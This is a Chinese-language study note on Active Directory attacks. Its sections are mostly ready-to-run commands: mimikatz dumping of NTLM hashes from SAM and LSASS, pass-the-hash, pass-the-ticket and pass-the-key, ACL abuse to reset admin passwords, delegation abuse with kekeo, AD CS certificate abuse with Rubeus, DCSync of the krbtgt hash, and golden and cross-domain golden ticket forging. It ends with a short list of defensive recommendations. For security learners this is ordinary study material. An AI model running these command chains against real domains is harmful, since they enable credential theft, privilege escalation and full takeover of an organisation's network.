AD学习记录(中)
字数 1787 2025-08-25 22:58:40
Active Directory 攻击技术详解
1. 认证机制与攻击技术
1.1 NetNTLM 认证与 Pass-the-Hash (PtH)
NetNTLM 认证流程:
- 客户端向服务发起认证请求
- 服务返回一个随机数 challenge
- 客户端用本地 NTLM hash 加密 challenge 生成 response 发送给服务
- 服务将 challenge 和 response 发送给域控验证
- 域控使用存储的 NTLM hash 验证 response
- 服务根据域控的验证结果决定是否通过认证
Pass-the-Hash 攻击:
- 使用 mimikatz 提取本地 SAM 或 LSASS 内存中的 NTLM hash
- 利用 hash 直接进行认证,无需知道明文密码
# 提取本地 SAM 的 NTLM hash
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
# 从 LSASS 内存提取 NTLM hash
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
# 执行 PtH 攻击
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:username /domain:domain.com /ntlm:hash /run:"command"
1.2 Kerberos 认证与相关攻击
Kerberos 认证流程:
- 客户端用用户 hash 和时间戳向 KDC 申请 TGT
- KDC 用 krbtgt 账户加密 TGT,内含 Session Key
- 客户端用 TGT 和 SPN 向 KDC 申请 TGS
- KDC 用服务 hash 加密 TGS,包含 svc session key
- 客户端用 TGS 向服务发起认证请求
Pass-the-Ticket (PtT):
# 导出 Kerberos 票据
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# 注入票据
mimikatz # kerberos::ptt ticket.kirbi
# 验证票据
klist
Overpass-the-hash/Pass-the-Key (PtK):
# 提取 Kerberos 密钥
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
# 执行 PtK 攻击
mimikatz # sekurlsa::pth /user:username /domain:domain.com /aes256:key /run:"command"
2. 基于 ACL 的攻击
2.1 关键 ACE 权限
- ForceChangePassword:强制修改密码
- AddMembers:向目标组添加用户
- GenericAll:完全控制对象
- GenericWrite:修改目标对象属性
- WriteOwner:修改对象所有者
- WriteDACL:修改对象的 DACL
- AllExtendedRights:执行所有扩展权限操作
2.2 攻击示例
- 使用 BloodHound 分析 ACL 错误配置
- 发现 Domain Users 可以控制 IT Support 组
- 将自己添加到 IT Support 组:
Add-ADGroupMember "IT Support" -Members "username"
- IT Support 组可以修改 Tier 2 Admins 用户密码:
$Password = ConvertTo-SecureString "newpass" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetuser" -Reset -NewPassword $Password
- 强制组策略更新:
gpupdate /force
3. Kerberos 委派攻击
3.1 委派类型
- 非约束委派:服务可代表用户访问任意服务
- 约束委派:服务只能代表用户访问特定服务
3.2 攻击步骤
- 查找允许委派的账户:
Get-NetUser -TrustedToAuth
- 使用 kekeo 生成 TGT:
tgt::ask /user:svcaccount /domain:domain.com /password:password
- 伪造 TGS 请求:
tgs::s4u /tgt:TGT_file /user:targetuser /service:service/server.domain.com
- 导入票据:
kerberos::ptt TGS_file
- 建立 PowerShell 会话:
New-PSSession -ComputerName targetserver.domain.com
Enter-PSSession -ComputerName targetserver.domain.com
4. AD 证书服务 (AD CS) 攻击
4.1 可利用的证书模板条件
- 用户有证书请求权限 (Allow Enroll)
- 证书支持客户端认证 (Client Authentication EKU)
- 允许客户端指定 SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT=1)
4.2 攻击步骤
- 枚举证书模板:
certutil -v -template > cert_templates.txt
- 使用 Metasploit 查找漏洞:
use auxiliary/gather/ldap_esc_vulnerable_cert_finder
- 申请恶意证书
- 使用 Rubeus 请求 TGT:
.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:cert.pfx /password:pass /outfile:ticket.kirbi /domain:domain.com /dc:dc_ip
- 导入票据:
kerberos::ptt ticket.kirbi
5. 黄金票据攻击
5.1 普通黄金票据
# 获取 krbtgt hash
lsadump::dcsync /user:domain\krbtgt
# 生成黄金票据
kerberos::golden /user:Administrator /domain:domain.com /sid:domain_sid /krbtgt:hash /ptt
5.2 跨域黄金票据
# 获取子域 SID
Get-ADComputer -Identity "DCNAME"
# 获取父域 Enterprise Admins SID
Get-ADGroup -Identity "Enterprise Admins" -Server parentdc.domain.com
# 生成跨域黄金票据
kerberos::golden /user:Administrator /domain:child.domain.com /sid:child_sid /krbtgt:child_hash /sids:parent_ea_sid /ptt
6. 域内热门漏洞
- Zerologon (CVE-2020-1472):置空域控机器账户密码
- PrintNightmare (CVE-2021-1675/CVE-2021-34527):RCE 漏洞
- MS14-068:服务票据 SID 验证漏洞
- Exchange 相关漏洞:利用 Exchange 的 DCSync 权限
- NoPAC:普通域账号接管域
- ADCS (CVE-2022-26923):冒充域控机器账户提权
7. 防御建议
- 限制敏感组的成员资格
- 定期审计 ACL 配置
- 禁用不必要的委派
- 限制证书模板权限
- 及时安装安全补丁
- 监控异常 Kerberos 活动
- 实施特权账户管理
8. 参考工具
- mimikatz:凭据提取和攻击
- BloodHound:AD 权限分析
- Rubeus:Kerberos 攻击
- PowerView:AD 信息收集
- Metasploit:漏洞利用
- kekeo:Kerberos 操作
通过深入理解这些攻击技术和防御措施,安全团队可以更好地保护 Active Directory 环境免受攻击。